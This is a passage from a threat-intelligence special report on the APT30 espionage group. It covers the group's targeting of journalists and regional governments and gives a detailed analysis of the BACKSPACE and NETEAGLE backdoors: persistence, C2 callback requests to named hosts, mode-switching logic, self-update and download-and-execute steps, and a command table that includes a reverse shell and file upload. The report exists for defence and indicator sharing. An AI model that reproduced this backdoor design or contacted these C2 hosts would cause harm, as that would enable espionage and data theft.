In China, the Communist Party has the ultimate authority over the government.
China-based threat groups have targeted journalists before we believe they often do so to get a better understanding on developing stories to anticipate unfavorable coverage and better position themselves to shape public messaging.
A FireEye as a Service customer in the media industry received a spear phishing message in October 2012 with a subject line of China MFA Press Briefing 29 October 2012- Full Transcript.
APT30 sent this message to over fifty other journalists of major global news outlets, including both official work accounts and personal email accounts.
Overall, the themes on which the journalists reported fell into the following categories 1 through 6, in rough order of prevalence.
APT30s attempts to compromise journalists and media outlets could also be used to punish outlets that do not provide favorable coverage  for example, both the New York Times and Bloomberg have had trouble securing visas for journalists in wake of unfavorable corruption reporting.
28 Beyond targeting, we also saw summaries of media events or reporting in decoy documents, particularly around press releases related to government or military updates.
It appears that APT30 could plausibly be targeting press attachs in order to obtain access to their contacts, which would presumably include the contact information of other public affairs personnel or other journalists of interest to target.
Targeting press attachs would enable APT30 to target journalists from a trusted source, which would be an excellent resource for spear phishing.
MARITIME DISPUTES 2 THE STATE OF THE CHINESE ECONOMY 1 HIGH TECH REPORTING CORRUPTION ISSUES 3 DISSIDENT COVERAGE AND HUMAN RIGHTS ISSUES (for example on Uighur issues) 4 5 DEFENSE-RELATED TOPICS 6 Weve observed APT30 targeting journalists that do not provide favorable coverage.
27 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT COUNTRIES WHERE APT30S CONFIRMED AND LIKELY TARGETS OPERATE India South Korea Malaysia Vietnam Nepal Bhutan Philippines Singapore Indonesia Brunei Myanmar Laos Cambodia Japan Thailand Saudi Arabia United States Countries with Confirmed APT 30 Targets Countries with Likely APT30 Targets APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 28 CONCLUSION APT30s operations epitomize a focused, persistent, and well-resourced threat group.
They appear to consider both the timing of their operations and prioritize their targets.
Some of the their tools capabilities, most notably the ability to infect air gapped networks, suggest both a level of planning and interest in particularly sensitive data, such as that housed on government networks.
The groups method for selecting and tracking victims suggests a high level of coordination and organization among the groups operators.
With activity spanning more than ten years, APT30 is one of the longest operating threat groups that we have encountered and one of the few with a distinct regional targeting preference.
Our research into APT30 demonstrates what many already suspected: threat actors rely on cyber capabilities to gather information about their immediate neighborhood, as well as on a larger, global scale.
APT30 appears to focus not on stealing businesses valuable intellectual property or cutting-edge technologies, but on acquiring sensitive data about the immediate Southeast Asia region, where they pursue targets that pose a potential threat to the influence and legitimacy of the Chinese Communist Party.
In exposing APT30, we hope to increase organizations awareness of threats and ability to defend themselves.
APT30s targeting interests underscore the need for organizations across the region to defend the information assets valuable to determined threat actors.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 29 APPENDIX A Detailed Malware Analysis BACKDOORS Despite their long history of operations, APT30 has primarily relied on a two backdoors to support their activity: BACKSPACE29 and NETEAGLE.
Both backdoors have evolved into a number of variants.
BACKSPACE has diverged into two main branches (ZJ and ZR) with numerous variations throughout each branch.
Similarly, NETEAGLE has two main versions, Scout and Norton, with Norton being the later (more recent) version.
The two backdoors differ widely in their development features, including differing programming languages and different sets of commands supported by each.
Despite this, the two also share some high-level design similarities, including update features and the use of two- stage command and control infrastructures.
The following table highlights some of the similarities and differences between the two families.30 Table 6:  Comparison of BACKSPACE and NETEAGLE backdoors BACKSPACE NETEAGLE Development language C C, MFC Mutex Differs across variants, but uses similar naming convention, e.g.
MicrosoftZj, MicrosoftZJLnk, MicrosoftForZR, etc.
NetEagle_Scout, Eagle-Norton360- OfficeScan C2 Domains Samples may use up to four C2 domains, for configuration retrieval, downloading updates, or as a backup domain if the primary fails.
Samples use a single C2 domain.
May Attempt to Bypass Host-Based Firewall Yes (observed in some versions) No (not observed) Callback format (may vary per sample) GET /ForZRLnk1z/dizhi.gif HTTP/1.0 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Win32)HOST: www.km153.com:80 GET /update1/pic1.bmp HTTP/1.1 User-Agent: [name of malware binary] Host: www.creammemory.com Second stage C2 Downloads configuration file dizhi.gif from first stage C2 URL Downloads configuration file pic1.bmp from first stage C2 URL Connect to second stage controller Downloads connect.gif from first stage C2.
If the file contains the victim hosts hostname and ID, connects to the controller.
Downloads pic2.bmp from first stage C2.
If the file contains the victim hosts hostname and ID, connects to the controller.
Format of second stage C2 configuration file Plain text (dizhi.gif, connect.gif) RC4 encrypted (pic1.bmp, pic2.bmp) Command format Malware commands are letters Malware commands are numbers APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 30 BACKSPACE BACKDOOR  ZJ VARIANT The ZJ branch of the BACKSPACE backdoor appears to be the oldest or original branch, with versions dating back to 2005.
Variants of this branch are still being developed and compiled, adding a broad range of supported commands while still retaining the core functionality of the original versions.
The BACKSPACE variant 8c713117af4ca6bbd69292a78069e75b was compiled on August 26, 2014.
It represents one member of the ZJ branch of the BACKSPACE malware family.
Initial Execution The mutex MicrosoftZjSYNoReg is used to guarantee that only one instance of the malware is running at any time.
BACKSPACE also creates two events (MicrosoftSYNoRegExit, MicrosoftSYNoRegHaveExit) that, when signaled, trigger all the threads and the malware itself to exit.
A third event, MicrosoftSYNoRegHaveAck, is created to be used by the malware to synchronize the processing of a task with an acknowledgement received from the C2 server.
The malware extracts system information (OS version, build number, platform, service pack, default language id) and proxy information (from the ProxyEnable and ProxyServer values under HKEY_CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\) from the victim host.
BACKSPACE then creates the registry values lnk (type REG_SZ) and hostid (type REG_DWORD) under the HKEY_CURRENT_USER\Software\Microsoft\CurrentHalInf registry key: lnk is set NTO/mol which is the encoded31 text MSN.lnk.
hostid is set to a random value that is used to uniquely identify the victim computer.
The malware creates a copy of itself in the folder CSIDL_PROGRAMS\Messenger\BIN as msmsgs.exe, creating the folder if necessary.
For persistence, BACKSPACE creates the Windows shortcut file MSN.lnk in CSIDL_STARTUP pointing to CSIDL_PROGRAMS\Messenger\BIN\msmsgs.exe with the description Windows Messenger.
C2 Domains Like many BACKSPACE variants, this sample is configured with four different C2 domains.
The C2 domains are used in HTTP requests for various files each file requested via the URI provides additional instructions or data to the malware.
BACKSPACE C2 domains are typically used for different purposes that is, each domain is associated with different URIs whose associated files support different functions.
For this sample, the four C2 domains have the following roles: Table 7: BACKSPACE C2 domains and registration dates Alias C2 Domain Description Zone Registration Date D1 www.iapfreecenter[.
]com Primary C2 domain 5/23/2014 D2 www.appsecnic[.
]com Backup C2 domain run/hide configuration 3/15/2010 D3 www.newpresses[.
]com Run/hide configuration 3/17/2010 D4 www.km153[.
]com Run/hide configuration 8/30/2007 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 31 Run vs Hide Mode BACKSPACE reads the registry value hFlag under HKEY_CURRENT_USER\Software\Microsoft\ CurrentHalInf.
If it exists and is set to 1 the malware switches to Run Mode otherwise the malware operates in Hidden Mode.
To switch to Run mode, BACKSPACE attempts to contact its C2 servers for validation and to obtain configuration data (stored in a file named nur.txt).
It parses the configuration data and performs a series of increasingly generic checks to see whether (by inclusion or exclusion) it should remain in Run mode: 1.
Make an HTTP request to www.iapfreecenter[.
]com/Lnk1z/hostlist.txt and validate that the last byte of the response is 0xFE.
2.
Make an HTTP request to the legitimate URL automation.whatismyip.com/n09230945.asp to obtain the external IP of the victim computer.
3.
Make an HTTP request to either www.newpresses[.
]com/http/nur.txt, www.km153[.
]com/ http/nur.txt or www.appsecnic[.
]com/http/nur.txt and validate that the response starts with abcd1234 if none of the servers respond accordingly, setting Run Mode fails.
4.
If the response from the server contains the runhost option, search for the victim computers hostname in the option data.
If found, setting Run Mode succeeds else go to step 5.
5.
If the response from the server contains the runhostexcept option, search for the victim computers hostname in the option data.
If found, setting Run Mode fails else go to step 6.
6.
If the response from the server contains the runip option, search for the victim computers external IP (obtained in step 2) in the option data.
If found, setting Run Mode succeeds else go to step 7.
7.
If the response from the server contains the runipexcept option, search for the victim computers external IP (obtained in step 2) in the option data.
If found, setting Run Mode fails else go to step 8.
8.
If the response from the server contains the rundir option, search for the current C2 URL (e.g., www.iapfreecenter[.
]com/Lnk1z) in the option data.
If found, setting Run Mode succeeds else go to step 9.
9.
If the response from the server contains the rundirexcept option, search for the current C2 URL (e.g., www.iapfreecenter[.
]com/Lnk1z) in the option data.
If found, setting Run Mode fails else go to step 10.
10.
If the response from the server contains the runweb option, search for the current C2 domain (e.g., www.iapfreecenter[.
]com) in the option data.
If found, setting Run Mode succeeds else go to step 11.
11.
If the response from the server contains the runwebexcept option, search for the current C2 domain (e.g., www.iapfreecenter[.
]com) in the option data.
If found, setting Run Mode fails else go to step 12.
12.
If the response from the server contains the runall1 option, setting Run Mode succeeds.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 32 If switching to Run Mode fails, BACKSPACE reads the registry value PassPath under HKEY_CURRENT_ USER\Software\Microsoft\CurrentHalInf, attempts to terminate the process identified by the registry data, and then exits.
If BACKSPACE successfully switches to Run Mode, the hFlag registry value under HKEY_CURRENT_USER\ Software\Microsoft\CurrentHalInf is deleted.
The victim computers hostname and IP are saved.
A thread to switch the malware back to Hidden Mode is started.
The thread runs indefinitely until the MicrosoftSYNoRegExit event gets signaled once signaled, the thread signals the MicrosoftSYNoRegHaveExit event.
In this thread, the malware reads the registry value PassPath under HKEY_CURRENT_USER\Software\Microsoft\CurrentHalInf, attempts to terminate the process identified by the registry data, and then exits.
Similar to switching to Run mode BACKSPACE conducts a series of checks to attempt to switch to Hidden Mode: 1.
Make an HTTP request to www.iapfreecenter[.
]com/Lnk1z/hostlist.txt and validate that the last byte of the response is 0xFF.
2.
Make an HTTP request to the legitimate URL automation.whatismyip[.
]com/n09230945.asp to obtain the external IP of the victim computer.
3.
Make an HTTP request to either www.newpresses[.
]com/some/edih.txt, www.km153[.
]com/ some/edih.txt or www.appsecnic[.
]com/some/edih.txt and validate that the response starts with abcd1234 if none of the servers respond accordingly, setting Hidden Mode fails.
4.
If the response from the server contains the killpath option, write the option data to the registry value PassPath under HKEY_CURRENT_USER\Software\Microsoft\CurrentHalInf this data represents the path of a process to be terminated.
5.
If the response from the server contains the hidehost option, search for the victim computers hostname in the option data.
If found, setting Hidden Mode succeeds else go to step 5.
6.
If the response from the server contains the hidehostexcept option, search for the victim computers hostname in the option data.
If found, setting Hidden Mode fails else go to step 6.
7.
If the response from the server contains the hideip option, search for the victim computers external IP (obtained in step 2) in the option data.
If found, setting Hidden Mode succeeds else go to step 7.
8.
If the response from the server contains the hideipexcept option, search for the victim computers external IP (obtained in step 2) in the option data.
If found, setting Hidden Mode fails else go to step 8.
9.
If the response from the server contains the hidedir option, search for the current C2 URL (e.g., www.iapfreecenter[.
]com/Lnk1z or www.appsecnic[.
]com/Lnk1z) in the option data.
If found, setting Hidden Mode succeeds else go to step 9.
10.
If the response from the server contains the hidedirexcept option, search for the current C2 URL in the option data.
If found, setting Hidden Mode fails else go to step 10.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 33 11.
If the response from the server contains the hideweb option, search for the current C2 domain (e.g., www.iapfreecenter[.
]com or www.appsecnic[.
]com) in the option data.
If found, setting Hidden Mode succeeds else go to step 11.
12.
If the response from the server contains the hidewebexcept option, search for the current C2 domain in the option data.
If found, setting Hidden Mode fails else go to step 12.
13.
If the response from the server contains the hideall1 option, setting Hidden Mode succeeds.
If BACKSPACE successfully switches to Hidden Mode succeeds, the hFlag registry value under HKEY_ CURRENT_USER\Software\Microsoft\CurrentHalInf is created and set to 1.
The malware stores the hostname of the victim computers primary Domain Controller to be sent to the second stage C2 server as part of the host details data.
Primary vs Backup C2 Domains BACKSPACE sends an HTTP request to www.appsecnic[.
]com/Lnk1z/bak.txt.
If the response starts with qazWSX123, it sets the primary C2 URL domain to www.appsecnic[.
]com.
Download Additional Files BACKSPACE sends an HTTP request to the primary C2 URL domain and URL path /Lnk1z/app.txt and saves the file to CSIDL_PROGRAMS\Messenger\BIN\Temp.txt.
Next, the downloaded file is copied to CSIDL_PROGRAMS\Messenger\BIN as MessengerPlug.exe and if it is a valid PE file, a new process is started.
In addition, BACKSPACE sends an HTTP request to the primary C2 URL domain and URL path / Lnk1z/hostlist.txt.
If the victim computers hostname is found in the response, BACKSPACE makes a new HTTP request to the primary C2 URL domain and URL path /Lnk1z/myapp.txt and saves the file to CSIDL_PROGRAMS\Messenger\BIN\Temp.txt.
Next, the downloaded file is copied to CSIDL_ PROGRAMS\Messenger\BIN as MessengerForVista.exe and if it is a valid PE file, a new process is started.
BACKSPACE will then delete the following files: CSIDL_PROGRAMS\Messenger\BIN\Temp.txt CSIDL_PROGRAMS\Messenger\BIN\UpdateMessenger.exe CSIDL_PROGRAMS\Messenger\BIN\MessengerPlug.exe CSIDL_PROGRAMS\Messenger\BIN\MessengerForVista.exe Self-Update Mechanism BACKSPACE performs the following update tasks: 1.
Obtain the latest available version number by making an HTTP to request to the primary C2 URL domain and URL path /Lnk1z/ver.txt if the version returned does not match the version of the current binary (2.00MSNN for this sample), go to step 2.
2.
Download a new binary by making an HTTP request to the primary C2 URL domain and URL path / Lnk1z/exe.txt and saving the file to CSIDL_PROGRAMS\Messenger\BIN\Temp.txt.
3.
Copy CSIDL_PROGRAMS\Messenger\BIN\Temp.txt to CSIDL_PROGRAMS\Messenger\BIN as UpdateMessenger.exe.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 34 4.
If CSIDL_PROGRAMS\Messenger\BIN\UpdateMessenger.exe is a valid PE, start a new process.
If the previous update task fails, BACKSPACE performs a new update task: 1.
Obtain the latest available version number by making an HTTP to request to the primary C2 URL domain and URL path /Lnk1z/SomeUpVer.txt if the version returned does not match the version of the current binary, go to step 2.
2.
Make an HTTP request to the primary C2 URL domain and URL path /Lnk1z/SomeUpList.txt and validate that the victim computers host name is in the response if true, go to step 3.
3.
Download a new binary by making an HTTP request to the primary C2 URL domain and URL path / Lnk1z/SomeUpExe.txt and saving the file to CSIDL_PROGRAMS\Messenger\BIN\Temp.txt.
4.
Copy CSIDL_PROGRAMS\Messenger\BIN\Temp.txt to CSIDL_PROGRAMS\Messenger\BIN as UpdateMessenger.exe.
5.
If CSIDL_PROGRAMS\Messenger\BIN\UpdateMessenger.exe is a valid PE, start a new process.
Second Stage C2 Server Next, BACKSPACE makes an HTTP request to the primary C2 URL domain and URL path /Lnk1z/ dizhi.gif.
Dizhi.gif is a 10-byte configuration file that specifies an IP address and three port numbers.
Figure 23: Second stage C2 server information in dizhi.gif BACKSPACE starts a new thread to send details about the victim computer (ComputerName, IP, SystemDetails, DefaultLangID, HostID, Proxy info, malware current version, malware current domain, and information about the logical drives) to Port1 on the new C2 server.
The malware will use the victim computers saved proxy settings if needed.
The data is sent using an HTTP POST request to the URL path /index.htm.
BACKSPACE also attempts to retrieve the URL path /ForZRLnk3z/connect.gif from the primary C2 URL domain.
If the victim computers hostname and hostid are found in the file, the victim will attempt to establish a connection to the second stage C2 server on Port2 to allow the threat actors to directly interact with the victim via the BACKSPACE controller.
After establishing the connection to the controller, BACKSPACE awaits further interactive commands from the operator.
For this copy of BACKSPACE, the following commands are supported: IP: 112.117.9.222                   Port1: 443      Port2: 443      Port3:82 35 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT Table 8: Commands supported by BACKSPACE ZJ variant 8c713117af4ca6bbd69292a78069e75b Command Meaning A Same as J or S, but the file is deleted from the victim computer after transmission.
B Receive a folder and list of filenames from the C2 server search the folder for the specified files (can use wildcards).
For each file found, upload the encoded WIN32_FIND_DATA32  structure to the C2 server.
C Collects information about running processes (process name, process full path, owner account name, processID, thread count).
D Receive a folder path, a list of files, and a flag byte for each file from the C2 server.
Delete files for which the flag is 0x30 and remove empty folders.
E Receive a file path, access byte (0 for WRITE, else APPEND) and encoded data from the C2 server.
Open the file according to the access byte, decode the data, and write it to the file.
F       Receive a Process ID (PID) from the C2 server elevates privileges (SeTakeOwnershipPrivilege) of the process identified by the PID and terminate it.
G Receive a path from the C2 server create a file for writing.
H Receive a path from the C2 server create a folder.
I Receive two paths from the C2 server perform a file rename operation.
J Receive a file path and offset from the C2 server.
Read the file starting at the specified offset, encode the data, and send it to the C2 server.
K Receive a PID from the C2 server terminate the process identified by the PID.
M Receive a path and a set of file attributes from the C2 server apply the attributes to the file specified by the path.
N Receive a path to a folder from the C2 server read the content of all the files from the folder and all sub-folders and upload their content after receiving acknowledgement from the C2 server.
R Receive a command line string from the C2 server and create a new process using the command.
S Same as J. T Creates a reverse shell with redirected std input/output/error to pipes.
U Delete MSN.lnk from the CSIDL_STARTUP folder.
V Same as E, but the file is created in the folder CSIDL_TEMPLATES and executed.
W Enumerate network resources on the victim computer.
X Restart the C2 cycle from the self-update process (perform update, obtain secondary C2 details, send host details, receive commands, etc.
).
Y Receive a list of filenames from the C2 server.
Delete the file LwxRsv.tem in CSIDL_TEMPLATES find the set of filenames specified by the C2 server write the Name, LastWriteTime, nFileSizeLow for each file to LwxRsv.tem send the content of this file to the C2 server and delete it.
Z Cancel command sends lecnaC to the C2 server.
a Receive a registry key path from the C2 server enumerate the registry values in the registry key and send the collected data to the C2 server.
b Receive a registry key path from the C2 server create the specified registry key.
c Receive a registry value path, name, type, data, and size from the C2 server create the specified registry value.
d Receive a registry key path from the C2 server delete the registry key and all its sub-keys.
e Receive a registry value path from the C2 server delete the registry value.
f Same as a command.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 36 After each command is processed, BACKSPACE sends a status message to the C2 server: A message starting with O indicates success.
A message starting with E indicates failure.
BACKSPACE BACKDOOR  ZR VARIANT The ZR branch of the BACKSPACE malware represents a later fork of the original ZJ version.
Many ZR variants appear to be streamlined that is, they may support a subset of the commands used by other BACKSPACE versions (both ZJ and ZR variants are compatible with the BACKSPACE controller any non-supported commands simply ignored by the BACKSPACE client).
However, some ZR variants include new features not seen in other versions of the backdoor, such as the ability to bypass host-based firewall software.33 The BACKSPACE ZR variant with md5 hash 6ee35da59f92f71e757d4d5b964ecf00 was compiled on 28 August 2014.
While this sample may include features not present in other (or earlier) versions of BACKSPACE, much of the malwares core functionality (such as the use of first-stage and second-stage C2 locations) has not changed significantly over time.
As a recent example of the BACKSPACE malware family, this sample gives us both an overview of BACKSPACEs functionality as well as a look at some of the malwares current features in the ZR branch.
Initial Execution BACKSPACE creates the mutex MicrosoftZjZRLnk to ensure that only one instance is executing at any given time.
It also creates two events (MicrosoftZjZRLnkExit and MicrosoftZjZRLnkHaveExit) that, when signaled, trigger all the threads and the malware itself to exit.
The malware extracts system information (OS version, build number, platform, service pack, default language id) and proxy information (from the ProxyEnable and ProxyServer values under HKEY_ CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\) from the victim host.
BACKSPACE then creates the registry values lnk (type REG_SZ) and hostid (type REG_DWORD) under the HKEY_CURRENT_USER\Software\Microsoft\CurrentPnpSetup registry key: lnk is set XJOXPSE/mol which is the encoded text WINWORD.lnk hostid is set to a random value (used to uniquely identify a victim host).
The malware then creates the directories CSIDL_PROFILE\Microsoft Office and CSIDL_PROFILE\ Microsoft Office\BIN.
The malware is copied to a temporary file whose path is obtained by appending the .txt file extension to the current malware path and file name.
The temporary file then is copied to the newly created folder CSIDL_PROFILE\Microsoft Office\BIN as WINWORD.exe and the original temporary file is deleted.
For persistence, BACKSPACE creates the Windows shortcut file WINWORD.lnk in CSIDL_STARTUP or CSIDL_COMMON_STARTUP pointing to CSIDL_PROFILE\Microsoft Office\ BIN\WINWORD.EXE with the description Microsoft Office Word.
C2 Domains Like many BACKSPACE variants, this ZRLnk sample is configured with four different C2 domains.
The C2 domains are used in HTTP requests for various files each file requested via the URI provides additional instructions or data to the malware.
BACKSPACE C2 domains are typically used for different purposes that is, each domain is associated with different URIs whose associated files support different functions.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 37 For this sample, the four C2 domains have the following roles: Domain 1 (D1): www.bigfixtools[.
]com.
This is the primary first-stage C2 domain, used with the majority of the URIs (and their associated functions).
Domain 2 (D2): (www.km153[.
]com) is the backup C2 domain, which can be promoted to the primary first-stage domain instead of D1 if necessary.
It also can be used to obtain run/hide configuration data (see below).
Domain 3 (D3) and Domain 4 (D4) (www.km-nyc[.
]com and www.bluesixnine[.
]com, respectively) are used to obtain run/hide configuration data.
The C2 domains used by APT30 is a single malware sample range from the brand new to more historical domains that have been in existence (and use) for several years.
For reference, sample 6ee35da59f92f71e757d4d5b964ecf00 was compiled on 8/28/2014 at 09:12:33 GMT the spear phishing attacks that dropped this BACKSPACE variant occurred on 8/29/2014.
Table 9: BACKSPACE C2 domains and registration dates.
Alias C2 Domain Description Zone Registration Date D1 www.bigfixtools[.
]com Primary C2 domain 8/26/2014 D2 www.km153[.
]com Backup C2 domain run/hide configuration 8/30/2007 D3 www.bluesixnine[.
]com Run/hide configuration 12/4/2012 D4 www.km-nyc[.
]com Run/hide configuration 3/11/2004 Run vs Hide Mode BACKSPACE reads the registry value hFlag under HKEY_CURRENT_USER\Software\Microsoft\ CurrentPnpSetup.
If it exists and is set to 1, the malware switches to Run Mode otherwise, the malware operates in Hidden Mode.
To switch to Run mode, BACKSPACE attempts to contacts its C2 servers for validation and to obtain configuration data (stored in a file named nur.txt).
It parses the configuration data and performs a series of increasingly generic checks to see whether (by inclusion or exclusion) it should remain in Run mode.
The methodology is the same as described for the ZJ sample above, differing only in the C2 domains used and the specific URI paths requested.
1.
Make an HTTP request to www.bigfixtools.com/ForZRLnk3z/hostlist.txt and validate that the last byte of the response is 0xFE.
2.
Make an HTTP request to the legitimate URL automation.whatismyip.com/n09230945.asp to obtain the external IP address of the victim host.
3.
Make an HTTP request to either www.bluesixnine.com/http/nur.txt, www.km153.com/ http/nur.txt or www.km-nyc.com/http/nur.txt and validate that the response starts with abcd1234 if none of the servers respond accordingly, setting  Run Mode fails.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 38 4.
If the response from the server contains the runhost option, search for the victim computers hostname in the option data.
If found, setting Run Mode succeeds else go to step 5.
5.
If the response from the server contains the runhostexcept option, search for the victim computers hostname in the option data.
If found, setting Run Mode fails else go to step 6.
6.
If the response from the server contains the runip option, search for the victim computers external IP (obtained in step 2) in the option data.
If found, setting Run Mode succeeds else go to step 7.
7.
If the response from the server contains the runipexcept option, search for the victim computers external IP (obtained in step 2) in the option data.
If found, setting Run Mode fails else go to step 8.
8.
If the response from the server contains the rundir option, search for the current C2 URL (e.g., www.bigfixtools[.
]com/ForZRLnk3z or www.km153[.
]com/ForZRLnk3z) in the option data.
If found, setting Run Mode succeeds else go to step 9.
9.
If the response from the server contains the rundirexcept option, search for the current C2 URL in the option data.
If found, setting Run Mode fails else go to step 10.
10.
If the response from the server contains the runweb option, search for the current C2 domain (e.g., www.bigfixtools.com) in the option data.
If found, setting Run Mode succeeds else go to step 11.
11.
If the response from the server contains the runwebexcept option, search for the current C2 domain in the option data.
If found, setting Run Mode fails else go to step 12.
12.
If the response from the server contains the runall1 option, setting Run Mode succeeds.
If switching to Run Mode fails, the malware exits.
Once the malware switches to Run Mode the hFlag registry value under HKEY_CURRENT_USER\ Software\Microsoft\CurrentPnpSetup is deleted and the victims hostname and IP are saved.
A thread to switch the malware back to Hidden Mode is started.
The thread runs indefinitely until the MicrosoftZjZRLnkExit event gets signaled once signaled, the thread signals MicrosoftZjZRLnkHaveExit event, does clean-up and exits.
Similar to switching to Run mode BACKSPACE conducts a series of checks to attempt to switch to Hidden Mode.
The methodology is the same as described for the ZJ sample above, differing only in the C2 domains used and the specific URI paths requested.
1.
Make an HTTP request to www.bigfixtools.com/ForZRLnk3z/hostlist.txt and validate that the last byte of the response is 0xFF.
2.
Make an HTTP request to the legitimate URL automation.whatismyip.com/n09230945.asp to obtain the external IP address of the victim host.
3.
Make an HTTP request to either www.bluesixnine.com/some/edih.txt, www.km153.com/ some/edih.txt or www.km-nyc.com/some/edih.txt and validate that the response starts with abcd1234 if none of the servers respond accordingly, setting Hidden Mode fails.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 39 4.
If the response from the server contains the hidehost option, search for the victim computers hostname in the option data.
If found, setting Hidden Mode succeeds else go to step 5.
5.
If the response from the server contains the hidehostexcept option, search for the victim computers hostname in the option data.
If found, setting Hidden Mode fails else go to step 6.
6.
If the response from the server contains the hideip option, search for the victim computers external IP (obtained in step 2) in the option data.
If found, setting Hidden Mode succeeds else go to step 7.
7.
If the response from the server contains the hideipexcept option, search for the victim computers external IP (obtained in step 2) in the option data.
If found, setting Hidden Mode fails else go to step 8.
8.
If the response from the server contains the hidedir option, search for the current C2 URL (e.g., www.bigfixtools[.
]com/ForZRLnk3z or www.km153[.
]com/ForZRLnk3z) in the option data.
If found, setting Hidden Mode succeeds else go to step 9.
9.
If the response from the server contains the hidedirexcept option, search for the current C2 URL (e.g., www.bigfixtools[.
]com/ForZRLnk3z or www.km153[.
]com/ForZRLnk3z) in the option data.
If found, setting Hidden Mode fails else go to step 10.
10.
If the response from the server contains the hideweb option, search for the current C2 domain (e.g., www.bigfixtools[.
]com or www.km153[.
]com) in the option data.
If found, setting Hidden Mode succeeds else go to step 11.
11.
If the response from the server contains the hidewebexcept option, search for the current C2 domain (e.g., www.bigfixtools[.
]com or www.km153[.
]com) is searched in the option data if found, setting Hidden Mode fails else go to step 12.
12.
If the response from the server contains the hideall1 option, setting Hidden Mode succeeds.
If switching to Hidden Mode succeeds, the hFlag registry value under HKEY_CURRENT_USER\Software\ Microsoft\CurrentPnpSetup is created and set to 1.
If BACKSPACE is successfully placed in Run mode it performs the following additional tasks: Primary vs Backup C2 Domains The malware sends an HTTP request to www.km153[.
]com/ForZRLnk3z/bak.txt.
If the response starts with qazWSX123, set the primary C2 domain to www.km153[.
]com.
Download Additional Files BACKSPACE sends an HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/app.
txt and saves the file to the path CSIDL_PROFILE\Microsoft Office\BIN\WordPlug.exe.
If the downloaded file is a valid PE file, start a new process.
Next, BACKSPACE sends an HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/ hostlist.txt.
If the victim computers hostname is found in the response, BACKSPACE sends a new HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/myapp.txt and saves the file to the path CSIDL_PROFILE\Microsoft Office\BIN\WordForVista.exe.
If the downloaded file is a valid PE file, start a new process.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 40 BACKSPACE then deletes the following files: CSIDL_PROFILE\Microsoft Office\BIN\Temp.txt CSIDL_PROFILE\Microsoft Office\BIN\UpdateWord.exe CSIDL_PROFILE\Microsoft Office\BIN\WordPlug.exe CSIDL_PROFILE\Microsoft Office\BIN\WordForVista.exe Self-Update Mechanism BACKSPACE uses version control and will attempt to verify the current version and perform a self- update as follows: 1.
Obtain the latest available version number by making an HTTP to request to the primary C2 URL domain (www.bigfixtools[.
]com or www.km153[.
]com) and URL path /ForZRLnk3z/ver.txt if the version returned does not match the version of the current binary ( 1.9.w.lY for this sample), go to step 2 2.
Download a new binary by making an HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/exe.txt and saving the file to CSIDL_PROFILE\Microsoft Office\BIN\ UpdateWord.exe.
3.
If CSIDL_PROFILE\Microsoft Office\BIN\UpdateWord.exe is a valid PE, start a new process.
If the previous update task fails, BACKSPACE performs a secondary update task: 1.
Obtain the latest available version number by making an HTTP to request to the primary C2 URL domain and URL path /ForZRLnk3z/SomeUpVer.txt if the version returned does not match the version of the current binary, go to step 2.
2.
Make an HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/SomeUpList.txt and validate that the victim computers hostname is in the response if true, go to step 3.
3.
Download a new binary by making an HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/SomeUpExe.txt and saving the file to CSIDL_PROFILE\Microsoft Office\BIN\ UpdateWord.exe.
4.
If CSIDL_PROFILE\Microsoft Office\BIN\UpdateWord.exe is a valid PE, start a new process.
BACKSPACE uses the same mutex (MicrosoftZjZRLnk), and event names (MicrosoftZjZRLnkExit, MicrosoftZjZRLnkHaveExit) across different versions of the same variant.
Thus, the malware can remove the previous version and update to a newer version while ensuring that only one instance of the same backdoor family is installed on a given host.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 41 Figure 24: APT30 decoy document related to Nepal When the malware is updated, the randomly generated hostid from the initial infection (stored in the registry) is not changed.
From the attackers perspective, this allows the identity of the victim host to remain consistent, even across multiple version updates.
Second Stage C2 Server Next, BACKSPACE makes an HTTP request to the primary C2 URL domain (www.bigfixtools[.
]com or www.km153[.
]com) and URL path /ForZRLnk3z/dizhi.gif.
Dizhi.gif is a 10-byte configuration file that specifies an IP address and two port numbers.
BACKSPACE starts a new thread to send details about the victim computer (ComputerName, IP, SystemDetails, DefaultLangID, HostID, Proxy info, malware current version, malware current domain, and information about the logical drives) to Port1 on the new C2 server.
The malware will use the victim computers saved proxy settings if needed.
The data is sent using an HTTP POST request with the following structure: APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 42 A sample beacon is shown below.
Note that the HTTP User-Agent header is set to the non-standard value SJZJ (compatible MSIE 6.0 Win32).
